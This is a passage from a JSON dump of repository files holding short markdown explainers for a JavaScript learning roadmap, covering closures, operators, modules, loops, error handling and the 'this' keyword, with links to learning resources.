    "content": "# Closures\n\nFunction closures are one of the most powerful, yet most misunderstood, concepts of JavaScript that are actually really simple to understand. A closure refers to a function along with its lexical environment. It is essentially what allows us to return a function `A`, from another function `B`, that remembers the local variables defined in `B`, even after `B` exits. The idea of closures is employed in nearly every other JavaScript program, hence, it's paramount for a JavaScript developer to know it really well.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript Closures - The Simplest Explanation](https://www.codeguage.com/courses/js/functions-closures)\n- [@article@JavaScript Closures Explained in 3 Minutes](https://medium.com/learning-new-stuff/javascript-closures-explained-in-3-minutes-5aae8dce2014)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/comma-operators@6_8EwyZY2jBkZr7xnfRY3.md",
    "content": "# Comma operators\n\nThe comma operator (`,`) evaluates each of its operands (from left to right) and returns the value of the last operand. This lets you create a compound expression in which multiple expressions are evaluated, with the compound expression's final value being the value of the rightmost of its member expressions. This is commonly used to provide multiple parameters to a `for` loop.\n\nVisit the following resources to learn more:\n\n- [@article@Comma operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comma_Operator)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/commonjs@4EXeGkOpfAViB9Uo4zL6O.md",
    "content": "# CommonJS\n\nCommonJS modules are the original way to package JavaScript code for Node.js. Node.js also supports the ESModules standard used by browsers and other JavaScript run-times, but CJS is still widely used in backend Node.js applications. Sometimes these modules will be written with a .cjs extension.\n\nVisit the following resources to learn more:\n\n- [@article@How the CJS Module System Works](https://blog.risingstack.com/node-js-at-scale-module-system-commonjs-require/)\n- [@video@How to Import and Export Modules in CJS](https://www.youtube.com/watch?v=XTND4rjATXA)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/comparison-operators@-v4_V4UuoZSgUk2sqOCim.md",
    "content": "# Comparison Operators\n\nComparison operators are the operators that compare values and return true or false. The operators include: `>`, `<`, `>=`, `<=`, `==`, `===`, `!=` and `!==`\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#comparison_operators)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/conditional-operators@640mk-m5mB90Mme-7jcXV.md",
    "content": "# Conditional operators\n\nConditional operator also known as Ternary operator is the only JS operator that takes three operands.\n\nThe operator can have one of two values based on a condition.\n\nSyntax:\n\n`condition ? val_for_true : val_for_false`\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#conditional_operator)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/conditional-statements@ttCsd2_H2SuRivCjGv1OX.md",
    "content": "# Conditional statements\n\nWhen you write code, you often want to perform different actions for different decisions. You can use conditional statements in your code to do this. In JavaScript, we have three conditional statements: `if`, `if...else`, and `switch`.\n\nVisit the following resources to learn more:\n\n- [@article@Making decisions in your code — conditionals](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/conditionals)\n- [@article@Conditional branching: if, ?](https://javascript.info/ifelse)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/const@q85z6x1Lc-yLWepwtIT2_.md",
    "content": "# [const] keyword\n\nConstants are block-scoped, much like variables declared using the `let` keyword. The value of a constant can't be changed through reassignment (i.e. by using the assignment operator), and it can't be re-declared (i.e. through a variable declaration). However, if a constant is an object or array its properties or items can be updated or removed.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript Constants - CodeGuage](https://www.codeguage.com/courses/js/constants)\n- [@article@const keyword - MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const)\n- [@article@JavaScript Variables](https://javascript.info/variables)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/control-flow@3tckJ2Sci7z-sNx9jx9eF.md",
    "content": "# Control Flow\n\nIn JavaScript, the `Control flow` is a way of how your computer runs code from top to bottom. It starts from the first line and ends at the last line unless it hits any statement that changes the control flow of the program such as loops, conditionals, etc.\n\nWe can control the flow of the program through any of these control structures:\n\n- Sequential (default mode)\n- Conditional Statements\n- Exception Handling\n- Loops and Iterations\n\nVisit the following resources to learn more:\n\n- [@article@Control Flow - MDN](https://developer.mozilla.org/en-US/docs/Glossary/Control_flow)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/data-structures@ADarwihuI2nBq1C3U7-Zr.md",
    "content": "# Data Structures\n\nA Data structure is a format to organize, manage and store data in a way that allows efficient access and modification. JavaScript has primitive (built-in) and non-primitive (not built-in) data structures. Primitive data structures come by default with the programming language and you can implement them out of the box (like arrays and objects). Non-primitive data structures don't come by default and you have to code them up if you want to use them.\n\nVisit the following resources to learn more:\n\n- [@video@Introduction to the Stack Data Structure](https://youtu.be/4F-BnR2XwqU)\n- [@video@Introduction to the Queue Data Structure](https://youtu.be/GRA_3Ppl2ZI)\n- [@video@Intro to Recursion: Anatomy of a Recursive Solution](https://youtu.be/yBWlPte6FhA)\n- [@video@Binary Tree Algorithms for Technical Interviews - Full Course](https://youtu.be/fAAZixBzIAI)\n- [@video@Graph Algorithms for Technical Interviews - Full Course](https://youtu.be/tWVWeAqZ0WU)\n- [@video@Dynamic Programming - Learn to Solve Algorithmic Problems & Coding Challenges](https://youtu.be/oBt53YbR9Kk)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/data-types@-jbPPuEXacBR0d0CWPHgd.md",
    "content": "# Datatypes\n\nData type refers to the type of data that a JavaScript variable can hold. There are seven primitive data types in JavaScript (Number, BigInt, String, Boolean, Null, Undefined and Symbol). Objects are non-primitives.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript Data Types - CodeGuage](https://www.codeguage.com/courses/js/data-types)\n- [@article@JavaScript data types and data structures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures)\n- [@article@JavaScript Data Types](https://javascript.info/types)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/debugging-issues@dhEtcgv7G9fNV-AUNJdWk.md",
    "content": "# Debugging issues\n\nWhen you're just starting out with JavaScript development, you might use a lot of `console.log()` statement in your code to log and check values of variables while debugging. The results of these would show up in the **Console** panel, along with a reference to the line and file of code which originated it.\n\nHowever, for quicker, more complex and easier to handler debugging (which also doesn't litter your codebase with `console.log()`s), breakpoints and the sources panel is your friend.\n\nVisit the following resources to learn more:\n\n- [@article@Debugging JavaScript in the sources panel](https://developer.chrome.com/docs/devtools/javascript/)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/debugging-memory-leaks@BA_ArmZMnVMaL_zl3W3Pt.md",
    "content": "# Debugging Memory Leaks\n\nIn JavaScript, memory leaks commonly occur within heap allocated memory, where short lived objects are attached to long lived ones and the Garbage Collector cannot safely de-allocate that memory as it is still referenced from the root set (the global object).\n\nVisit the following resources to learn more:\n\n- [@article@Catching memory leaks with Chrome DevTools](https://medium.com/coding-blocks/catching-memory-leaks-with-chrome-devtools-57b03acb6bb9)\n- [@article@Effective Javascript Debugging](https://medium.com/swlh/effective-javascript-debugging-memory-leaks-75059b2436f6)\n- [@article@Debugging JavaScript memory leaks](https://www.debugbear.com/blog/debugging-javascript-memory-leaks)\n- [@article@Debugging Memory Leaks In Production JavaScript Applications](https://www.jackhoy.com/web-applications/2020/10/21/debugging-memory-leaks-in-nodejs.html)\n- [@video@JavaScript Memory Leaks Visualized and How To Fix Them](https://youtu.be/IkoGmbNJolo)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/debugging-performance@ECxISKUAU7js_JsfSHzud.md",
    "content": "# Debugging performance\n\nEnter the dev tools and check out the Lighthouse tab. This is essentially a series of tests which analyses the currently open website on a bunch of metrics related to performance, page speed, accessibility, etc. Feel free to run the tests by clicking the **Analyze Page Load** button (you might want to do this in an incognito tab to avoid errors arising from extensions you're using). Once you have the results, take your time and read through them (and do click through to the reference pages mentioned alongside each test result to know more about it!)\n\nVisit the following resources to learn more:\n\n- [@article@Analyze runtime performance](https://developer.chrome.com/docs/devtools/performance)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/default-params@8X8mRl-puL0Lp43dO5mha.md",
    "content": "# Default Parameters\n\nDefault function parameters allow named parameters to be initialized with default values if no value or `undefined` is passed.\n\nVisit the following resources to learn more:\n\n- [@article@Default Parameters - MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/dom-apis@bhuGtcyqPFKu-900aESYz.md",
    "content": "# DOM APIs\n\nWith HTML DOM, JavaScript can access and change all the elements of an HTML document such as its attributes, CSS styles, remove elements, add and create new elements on the page. Web API means application programming interface for the web. All browsers have a set of built-in Web APIs to support complex operations, and to help accessing data. Like Geo-location API, Web Storage, Web History and others.\n\nVisit the following resources to learn more:\n\n- [@article@DOM- MDN Docs](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/dowhile@57lO_3uxJaWsFXS-0J1AK.md",
    "content": "# do...while statement\n\nThe `do...while` statement creates a loop that executes a specified statement until the test condition evaluates to `false`. The condition is evaluated after executing the statement, resulting in the specified statement executing at least once.\n\nVisit the following resources to learn more:\n\n- [@article@do...while - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/do...while)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/equality-comparisons@23Xa6q5VvRVlzc6Dx8vST.md",
    "content": "# Equality Comparisons\n\nComparison operators are used in logical statements to determine equality or difference between variables or values. Comparison operators can be used in conditional statements to compare values and take action depending on the result.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript Equality Operators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators#equality_operators)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/error-objects@-z-4VTaC3tOThqChgyoMs.md",
    "content": "# Utilizing error objects\n\nWhen a runtime error occurs, a new `Error` object is created and thrown. With this `Error` object, we can determine the type of the Error and handle it according to its type.\n\n## Types of Errors\n\nBesides error constructors, Javascript also has other core Error constructors. Like\n\n- AggregateError - A collection of errors thrown simultaneously.\n- EvalError - An error occurred during the evaluation of a JavaScript expression.\n- InternalError - An internal JavaScript error, often indicating a bug in the engine.\n- RangeError - A value is outside the allowed range for a given operation.\n- ReferenceError - A variable or object is referenced before it's declared or doesn't exist.\n- SyntaxError - The code contains incorrect syntax, preventing it from being parsed.\n\n## Example\n\n```js\ntry {\n  willGiveErrorSometime();\n} catch (error) {\n  if (error instanceof RangeError) {\n    rangeErrorHandler(error);\n  } else if (error instanceof ReferenceError) {\n    referenceErrorHandle(error);\n  } else {\n    errorHandler(error);\n  }\n}\n```\n\nVisit the following resources to learn more:\n\n- [@article@Error Object - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error)\n- [@article@Control flow & Error handling - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling)\n- [@article@AggregateError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AggregateError)\n- [@article@EvalError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/EvalError)\n- [@article@InternalError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/InternalError)\n- [@article@RangeError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError)\n- [@article@ReferenceError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError)\n- [@article@SyntaxError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/esm@jLNmYeo20Mbu4WRvVgvwU.md",
    "content": "# ESModules\n\nESModules is a standard that was introduced with ES6 (2015). The idea was to standardize how JS modules work and implement these features in browsers. This standard is widely used with frontend frameworks such as react and can also be used in the backend with Node.js. Sometimes these modules will be written with a .mjs extension.\n\nVisit the following resources to learn more:\n\n- [@article@Full ESM module overview from MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules)\n- [@article@Full ESM module overview from js.info](https://javascript.info/modules)\n- [@article@Node.js documentation for ESModules](https://nodejs.org/api/esm.html)\n- [@video@JavaScript ES6 Modules Simplified](https://www.youtube.com/watch?v=cRHQNNcYf6s)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/event-loop@_bs5NNHVdHLWGBmpYwHMi.md",
    "content": "# Event Loop\n\nThe Event Loop is one of the most important aspects to understand about Node.js. Why is this so important? Because it explains how Node.js can be asynchronous and have non-blocking I/O, it explains the \"killer feature\" of Node.js, which made it this successful.\n\nVisit the following resources to learn more:\n\n- [@article@The Node.Js Event Loop](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick/#what-is-the-event-loop)\n- [@article@JavaScript Visualized: Event Loop](https://dev.to/lydiahallie/javascript-visualized-event-loop-3dif)\n- [@video@What the heck is the event loop anyway?](https://www.youtube.com/watch?v=8aGhZQkoFbQ)\n- [@video@In the loop: JS conf 2018](https://www.youtube.com/watch?v=cCOL7MC4Pl0)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/exceptional-handling@34TKGxV9YziOWMh9rT_KE.md",
    "content": "# Exception Handling\n\nIn JavaScript, all exceptions are simply objects. While the majority of exceptions are implementations of the global Error class, any old object can be thrown. With this in mind, there are two ways to throw an exception: directly via an Error object, and through a custom object. (excerpt from Rollbar)\n\nVisit the following resources to learn more:\n\n- [@article@Throwing Exceptions in JavaScript](https://rollbar.com/guides/javascript/how-to-throw-exceptions-in-javascript)\n- [@video@try, catch, finally, throw (video)](https://youtu.be/cFTFtuEQ-10)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/explicit-binding@p2NhSwPYMtRiPRHjPaqmX.md",
    "content": "# Explicit binding\n\nExplicit binding is when you use the `call` or `apply` methods to explicitly set the value of `this` in a function. Explicit Binding can be applied using `call()`, `apply()`, and `bind()`.\n\nVisit the following resources to learn more:\n\n- [@article@Explicit Binding](https://medium.com/swlh/javascript-this-ac28f8e0f65d)\n- [@article@Explicit Binding rule for this keyword](https://medium.com/@msinha2801/explicit-binding-rule-for-this-keyword-in-js-712405b0a11)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/explicit-type-casting@1xhjrRN-Rfekei2JwwU7Y.md",
    "content": "# Explicit Type Casting\n\nType casting means transferring data from one data type to another by explicitly specifying the type to convert the given data to. Explicit type casting is normally done to make data compatible with other variables. Examples of typecasting methods are `parseInt()`, `parseFloat()`, `toString()`.\n\nVisit the following resources to learn more:\n\n- [@article@Type Conversion](https://www.c-sharpcorner.com/article/type-conversions-in-javascript/)\n- [@video@Data Type Conversion](https://youtu.be/VQLYiFqetZM)\n- [@article@Type conversion](https://developer.mozilla.org/en-US/docs/Glossary/Type_Conversion)\n- [@article@What is typecasting in JavaScript](https://www.tutorialspoint.com/explain-typecasting-in-javascript)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/expressions--operators@_6vZa43gWjxO2OcD1iCCQ.md",
    "content": "# Expressions and Operators\n\nAt a high level, an expression is a valid unit of code that resolves to a value. There are two types of expressions: those that have side effects (such as assigning values) and those that purely evaluate. The expression `x = 7` is an example of the first type. This expression uses the `=` operator to assign the value seven to the variable x. The expression itself evaluates to 7. The expression `3 + 4` is an example of the second type. This expression uses the `+` operator to add `3` and `4` together and produces a value, `7`. However, if it's not eventually part of a bigger construct (for example, a variable declaration like `const z = 3 + 4`), its result will be immediately discarded `—` this is usually a programmer mistake because the evaluation doesn't produce any effects. As the examples above also illustrate, all complex expressions are joined by operators, such as `=` and `+`.\n\nVisit the following resources to learn more:\n\n- [@article@Expressions and operators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/fetch@kL5rfWxXe4J44ENru1uJS.md",
    "content": "# Fetch\n\nThe `fetch()` method in JavaScript is used to request to the server and load the information on the webpages. The request can be of any APIs that return the data of the format JSON or XML. This method returns a promise.\n\nVisit the following resources to learn more:\n\n- [@article@Fetch MDN Docs](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch)\n- [@article@Network request - Fetch](https://javascript.info/fetch)\n- [@article@Abort a fetch request manually in JavaScript](https://www.amitmerchant.com/abort-fetch-request-manually-in-javascript/)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/for@2M211rcaPSWbZ-sPoSEVR.md",
    "content": "# The for loop\n\nThe `for` loop is a standard control-flow construct in many programming languages, including JavaScript. It's commonly used to iterate over given sequences or iterate a known number of times and execute a piece of code for each iteration.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript for Loop - CodeGuage](https://www.codeguage.com/courses/js/loops-for-loop)\n- [@article@The for Loop - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/forin-loop@cq3vvFZoNnAAZJ6oEBUwb.md",
    "content": "# for...in statement\n\nThe for...in statement iterates over all enumerable properties of an object that are keyed by strings (ignoring ones keyed by Symbols), including inherited enumerable properties.\n\nVisit the following resources to learn more:\n\n- [@article@for...in statement - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in)\n- [@article@The for..in loop with examples](https://javascript.info/object#forin)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/forof-loop@FBz6h_AmTJBXoBN-a38a5.md",
    "content": "# for...of statement\n\nThe for...of statement executes a loop that operates on a sequence of values sourced from an iterable object. Iterable objects include instances of built-ins such as Array, String, TypedArray, Map, Set, NodeList (and other DOM collections), and the arguments object, generators produced by generator functions, and user-defined iterables.\n\nVisit the following resources to learn more:\n\n- [@article@for...of statement - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/function-borrowing@EAN6DCiCfSq04R4vKgZ0q.md",
    "content": "# Function Borrowing\n\nFunction borrowing allows us to use the methods of one object on a different object without having to make a copy of that method and maintain it in two separate places. It is accomplished through the use of `.call()`, `.apply()`, or `.bind()`, all of which exist to explicitly set this on the method we are borrowing.\n\nVisit the following resources to learn more:\n\n- [@article@Function borrowing](https://medium.com/@ensallee/function-borrowing-in-javascript-4bd671e9d7b4)\n- [@article@When would I use function borrowing](https://stackoverflow.com/questions/69892281/when-would-i-use-function-borrowing)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/function-parameters@R1D4fsZliHv7wIo8Tj-kp.md",
    "content": "# Function Parameters\n\nThe parameter is the name given to the variable declared inside the definition of a function. There are two special kinds of syntax: default and rest parameters.\n\nVisit the following resources to learn more:\n\n- [@article@Function Parameters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#function_parameters)\n- [@article@Unlimited function parameters using Rest](https://www.amitmerchant.com/unlimited-function-parameters-with-using-rest-in-java-script/)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/function@YMT7O6lrMSMtNo0EnmsnQ.md",
    "content": "# Function Scope\n\nWhen a variable is declared inside a function, it is only accessible within that function and cannot be used outside that function.\n\nVisit the following resources to learn more:\n\n- [@article@Function Scope & Block Scope in JS](https://medium.com/nerd-for-tech/function-scope-block-scope-in-js-d29c8e7cd216)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/functions@k8bJH9qydZm8I9rhH7rXw.md",
    "content": "# Functions\n\nFunctions exist so we can reuse code. They are blocks of code that execute whenever they are invoked. Each function is typically written to perform a particular task, like an addition function used to find the sum of two or more numbers. When numbers need to be added anywhere within your code, the addition function can be invoked as many times as necessary.\n\nVisit the following resources to learn more:\n\n- [@article@Functions - MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions)\n- [@article@JavaScript Functions in Detail - CodeGuage](https://www.codeguage.com/courses/js/functions-basics)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/garbage-collection@KKyX8N4lTgN0w-Khm6Ztq.md",
    "content": "# Garbage Collection\n\nMemory management in JavaScript is performed automatically and invisibly to us. We create primitives, objects, functions… All that takes memory. The main concept of memory management in JavaScript is reachability.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript Garbage Collection](https://javascript.info/garbage-collection)\n- [@article@Memory Management in JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/global@oC4o6GLEES_nUgCJu9Q6I.md",
    "content": "# Global Scope\n\nVariables declared Globally (outside any function) have Global Scope. Global variables can be accessed from anywhere in a JavaScript program. Variables declared with `var`, `let` and `const` are quite similar when declared outside a block.\n\n## Note\n\nIf you assign a value to a variable  that has not been declared i.e `potato = true`\nit will automatically become a _GLOBAL_ variable.\n\nVisit the following resources to learn more:\n\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/history-of-javascript@l-GKzcsBNA0r6Jax8hwnP.md",
    "content": "# History of JavaScript\n\nJavaScript was initially created by Brendan Eich of NetScape and was first announced in a press release by Netscape in 1995. It has a bizarre history of naming; initially, it was named Mocha by the creator, which was later renamed LiveScript. In 1996, about a year later after the release, NetScape decided to rename it to JavaScript with hopes of capitalizing on the Java community (although JavaScript did not have any relationship with Java) and released Netscape 2.0 with the official support of JavaScript.\n\nVisit the following resources to learn more:\n\n- [@roadmap.sh@Brief History of JavaScript](https://roadmap.sh/guides/history-of-javascript)\n- [@article@The Weird History of JavaScript](https://dev.to/codediodeio/the-weird-history-of-javascript-2bnb)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/hoisting@Lb5jLF91WO5V5CWpifciW.md",
    "content": "# Hoisting\n\nJavaScript Hoisting refers to the process whereby the interpreter appears to move the declaration of functions, variables, or classes to the top of their scope, prior to execution of the code.\n\nVisit the following resources to learn more:\n\n- [@article@What is Hoisting - MDN Docs](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)\n- [@article@Understanding Hoisting](https://www.digitalocean.com/community/tutorials/understanding-hoisting-in-javascript)\n- [@video@Learn JavaScript Hoisting In 5 Minutes](https://www.youtube.com/watch?v=EvfRXyKa_GI)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/how-to-run-javascript@uXsWIUUxtc4H_iRx3uZv0.md",
    "content": "# How to Run Javascript\n\nJavaScript can be run in the browser by including the external script file using the `script` tag, writing it within the HTML page using the `script` tag again, running it in the browser console or you can also use [REPL](https://www.digitalocean.com/community/tutorials/how-to-use-the-node-js-repl).\n\nVisit the following resources to learn more:\n\n- [@article@How To Add JavaScript to HTML](https://www.digitalocean.com/community/tutorials/how-to-add-javascript-to-html)\n- [@article@How To Write Your First JavaScript Program](https://www.digitalocean.com/community/tutorials/how-to-write-your-first-javascript-program)\n- [@article@How To Use the JavaScript Developer Console](https://www.digitalocean.com/community/tutorials/how-to-use-the-javascript-developer-console)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/ifelse@ndbDXAx6bL4lZmpXv16Y_.md",
    "content": "# If else\n\nThe `if` statement executes a statement if a specified condition is `truthy`. If the condition is `falsy`, another statement in the optional `else` clause will be executed.\n\n## Example\n\n```js\nif (condition) {\n  statement1;\n} else {\n  statement2;\n}\n```\n\nVisit the following resources to learn more:\n\n- [@article@if...else - MDN docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if...else)\n- [@article@Conditional branching: if, ? - javascript.info](https://javascript.info/ifelse)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/iifes@YZlCoPvZuX5MmpLOTj5d4.md",
    "content": "# IIFE\n\nImmediately-Invoked Function Expression is a function that is executed immediately after it is created.\n\n## Example\n\n```js\n// An Async IIFE\n( async() => {\n    \n    const x = 1;\n    const y = 9;\n\n    console.log(`Hello, The Answer is ${x+y}`);\n\n})();\n```\n\nVisit the following resources to learn more:\n\n- [@article@IIFE — MDN Docs](https://developer.mozilla.org/en-US/docs/Glossary/IIFE)\n- [@article@JavaScript in Plain English - IIFE](https://javascript.plainenglish.io/https-medium-com-javascript-in-plain-english-stop-feeling-iffy-about-using-an-iife-7b0292aba174)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/implicit-type-casting@pP42K_eH4RCdUdUS8BJlP.md",
    "content": "# Implicit Type Casting\n\nImplicit type conversion happens when the compiler or runtime automatically converts data types. JavaScript is loosely typed language and most of the time operators automatically convert a value to the right type.\n\nVisit the following resources to learn more:\n\n- [@article@TutorialsPoint - JavaScript Tutorials](https://www.tutorialspoint.com/explain-typecasting-in-javascript)\n- [@article@What you need to know about JavaScript Implicit Coercion](https://dev.to/promisetochi/what-you-need-to-know-about-javascripts-implicit-coercion-e23)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/in-a-function@azsXq6Y5iCvQDgTWZpWQ3.md",
    "content": "# this in a function\n\nThe keyword `this` when used in a function refers to the global object.\n\n_Note: in a browser window the global object is the `window` object._\n\nVisit the following resources to learn more:\n\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/in-a-method@3E5MuxPvEJU-dwgTrbQAR.md",
    "content": "# this in a method\n\nMethods are properties of an object which are functions. The value of this inside a method is equal to the calling object. In simple words, this value is the object “before dot”, the one used to call the method.\n\nVisit the following resources to learn more:\n\n- [@article@`this` in methods](https://javascript.info/object-methods#this-in-methods)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/in-arrow-functions@P0190rTm2wLQmCzWOKour.md",
    "content": "# this in arrow functions\n\nThe keyword `this` when used in an arrow function refers to the parent object.\n\nVisit the following resources to learn more:\n\n- [@article@this keyword and arrow function](https://stackoverflow.com/questions/66518020/javascript-this-keyword-and-arrow-function)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/in-event-handlers@JVbEBtVrTTFnTF3_yUIAC.md",
    "content": "# this in event handlers\n\nThe keyword `this` when used in an event handler refers to the element that received the event.\n\nVisit the following resources to learn more:\n\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/indexed-collections@lBOGoHZrmnIRatvryDwTm.md",
    "content": "# Indexed collections\n\nIndexed Collections are collections that have numeric indices i.e. the collections of data that are ordered by an index value. In JavaScript, an array is an indexed collection. An array is an ordered set of values that has a numeric index.\n\nVisit the following resources to learn more:\n\n- [@article@What is Indexed collections?](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Indexed_collections)\n- [@article@Indexed collections in JavaScript](https://www.tutorialspoint.com/indexed-collections-in-javascript)\n- [@video@Javascript Arrays](https://youtu.be/XYq9QpgAx8g)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/introduction-to-javascript@6khAD6mzZ9S96JJuC5_j6.md",
    "content": "# JavaScript\n\nJavaScript, often abbreviated JS, is a programming language that is one of the core technologies of the World Wide Web, alongside HTML and CSS. It lets us add interactivity to pages e.g. you might have seen sliders, alerts, click interactions, popups, etc on different websites -- all of that is built using JavaScript. Apart from being used in the browser, it is also used in other non-browser environments as well such as Node.js for writing server-side code in JavaScript, Electron for writing desktop applications, React Native for mobile applications, and so on.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@Exploring JS: JavaScript books for programmers](https://exploringjs.com/)\n- [@article@Eloquent JavaScript textbook](https://eloquentjavascript.net/)\n- [@opensource@You Don't Know JS Yet (book series)](https://github.com/getify/You-Dont-Know-JS)\n- [@video@JavaScript Crash Course for Beginners](https://youtu.be/hdI2bqOjy3c?t=2)\n- [@video@Build a Netflix Landing Page Clone with HTML, CSS & JS](https://youtu.be/P7t13SGytRk?t=22)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/islooselyequal@PLallt_T33W6bUEn0Hc3W.md",
    "content": "# isLooselyEqual\n\n[isLooselyEqual](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Equality) checks whether its two operands are equal, returning a `Boolean` result. It attempts to convert and compare operands that are of different types.\n\nVisit the following resources to learn more:\n\n- [@article@Loosely Equality (==) Operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Equality)\n- [@article@Comparison - javascript.info](https://javascript.info/comparison)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/isstrictlyequal@pcILon_Jjm2_XS10iUJ0E.md",
